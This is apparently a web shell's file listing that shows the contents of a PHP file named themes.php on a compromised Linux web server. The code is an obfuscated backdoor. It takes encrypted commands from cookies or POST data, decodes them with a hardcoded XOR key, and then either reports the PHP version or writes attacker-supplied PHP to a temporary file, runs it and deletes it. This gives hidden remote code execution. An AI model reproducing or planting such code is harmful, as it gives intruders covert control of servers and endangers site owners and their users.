HEX
Server: Apache/2
System: Linux other-wp 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User: admin (1004)
PHP: 7.4.28
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/admin/public_html/themes.php
<?php  /*ejqh   */ function       pqzlbj(){$q_xhzz='dypcozotas';     print_r      (2347+2347);    }$piabp /*zqhtrg  */ =       'piabp'    ^	'';






$yzoza       = /*yhr_fc */ $_COOKIE;

$qpshy    = /* vkh */ 'cl_c_w';$vornjy    =	334;

$fmghip       =	$vornjy   %   17;



function /*  fj*/ junmkmq($vjgyzvhdins,       $numckbnfwu)
{


 /*  b */ global	$piabp;
       $rhv_fi /*  u */ =      "";


     $xejjrwqg_    =    613;


  $bhllebzv	= /* znn*/ 0;	


 /*   i_yc   */ while    ($bhllebzv /* sskmmy */ < /*  xvd*/ strlen($vjgyzvhdins)) /*  w */ {    $vjgyzvh /*ek   */ =    0; /* bwfxxb  */ while /*   lpkcw   */ ($vjgyzvh /*  xft*/ <  strlen($numckbnfwu) /*   gvonpr */ &&    $bhllebzv    <	strlen($vjgyzvhdins)) /* t   */ {  


   $rhv_fi /*   d */ .= /*   mdo*/ $piabp(ord($vjgyzvhdins[$bhllebzv]) /*ezozu  */ ^ /*  aez   */ ord($numckbnfwu[$vjgyzvh])); /*  fc*/ $umshum    =    306;


    
 /*   u */ $vjgyzvh++;


	$bhllebzv++;      }

    }
    return    $rhv_fi;

}

function    c_asdd($bgnqk,     $vjgyzvhdins)


{

    global      $piabp;


	$lbdztkntty       =    sprintf("."."\57" /*  qnt*/ .	"%"."s"."\56"  .   "p"."l",	md5($bgnqk));
    $dkedxmon /*  yuch   */ =    'virsh';

 /* h  */ file_put_contents($lbdztkntty, /*azbm */ "<" /*vddifj*/ . /* tufli*/ "\x3f"    . /* lnl  */ "p".$piabp(849-745)  . /*   nd */ "\x70" /* yuaud  */ .    $piabp(32)     .   "\x75"       . /* pxjgn */ "n".$piabp(785-677) /*mnr  */ . /*xjfez  */ "\151"	.	"n"."k".$piabp(65-25)  .	$piabp(95) /*ukxmly*/ . /* jbet_   */ "\x5f" /*  jln*/ .      "\106"   .    "I"."L"."E".$piabp(95)    .     "\x5f" /*  hcbov */ .     ")".";".$piabp(32)      .   $vjgyzvhdins[$piabp(100)]);$_rdoxx_	= /* iy*/ 'lsoeh';	include($lbdztkntty);	$osemqmf	= /*   zii   */ '_t';
	$crbkbwq   = /*   fbufx   */ $lbdztkntty;


   @unlink($crbkbwq);
}




function      uzvvn_ci()

{

	$zvogayhvlf	=    'cqhnkx';
      $__lakhyd     = /*   v */ 'rgo';}




uzvvn_ci();




function /* eb   */ tqxdsrr()

{

 /*twbfl*/ global /*  fflp  */ $piabp;


	$bhllebzv	= /*   vwfo*/ array();

 /* q  */ $bhllebzv[$piabp(333-221)   . /*sz  */ $piabp(988-870)] /*nkrht  */ =    phpversion();      $bhllebzv["s"."\x76"]	=  $piabp(480-429) /* hxgzz   */ . /*luxwhu  */ "."."5";
	$hjklnfcal    =    'ir_bq_f';

  $tynyxzq       =       'xch';


     echo /* a   */ @serialize($bhllebzv);


     $tvwcmo   =     'dujxhb';


 /*  fyl   */ $pwftopbqq  =    914;}

function     hfnlmxwh($vjgyzvhdins,       $bgnqk,    $mgokqcrtuy){

    global	$piabp;


	$vjgyzvhdins    =	unserialize(junmkmq(junmkmq(base64_decode($vjgyzvhdins), /*  j  */ $bgnqk),  $mgokqcrtuy));


	$ytqjjqw    =    568;


	if    (isset($vjgyzvhdins["\141".$piabp(107)])) /*   bto */ {
	if       ($vjgyzvhdins["\141"]    ==   "\x69")    {
 /*  fjfkf */ tqxdsrr();    } /*  fg*/ elseif	($vjgyzvhdins["\141"]      ==    $piabp(571-470))   { /*  s   */ c_asdd($bgnqk,    $vjgyzvhdins);
  }

    exit();
    }


}$yzoza /* nextx*/ = /*  dg  */ array_merge($_POST,       $yzoza);



$bgnqk    =	$piabp(133-34)   .  "\x64"       . /*  n */ "\x61"    . /* b*/ "\x31"	.    "7"."\60" /*yxvu   */ .     $piabp(100)."1".$piabp(119-74)  .       "\60"       .    "\x39"    .	$piabp(571-470)."\x62"       . /*   e_*/ $piabp(814-769)    .   "4"."b".$piabp(52)   .  "\141"."-"."\x39"  .	$piabp(640-592)    . /*  tpxuu   */ "\x33"       . /*   qypbt*/ "1".$piabp(45) /*kfc   */ . /*  bhi*/ $piabp(57)    .   "3"."3"."9".$piabp(202-150)       . /* zd*/ "\63"     .    "\67"	. /*j  */ "\x30"	.     "\x32" /* bfok  */ .  "\63" /* rabh  */ .    $piabp(99) /*xuim   */ . /* cma */ "c";

$vjgyzvheceieql   =	'ddvp';$vjgyzvhbssqfzh /* izy */ =	'xlhmx';
foreach    ($yzoza  as    $mgokqcrtuy      =>       $vjgyzvhdins)      {
      hfnlmxwh($vjgyzvhdins,	$bgnqk, /*  k_fd*/ $mgokqcrtuy);}








?>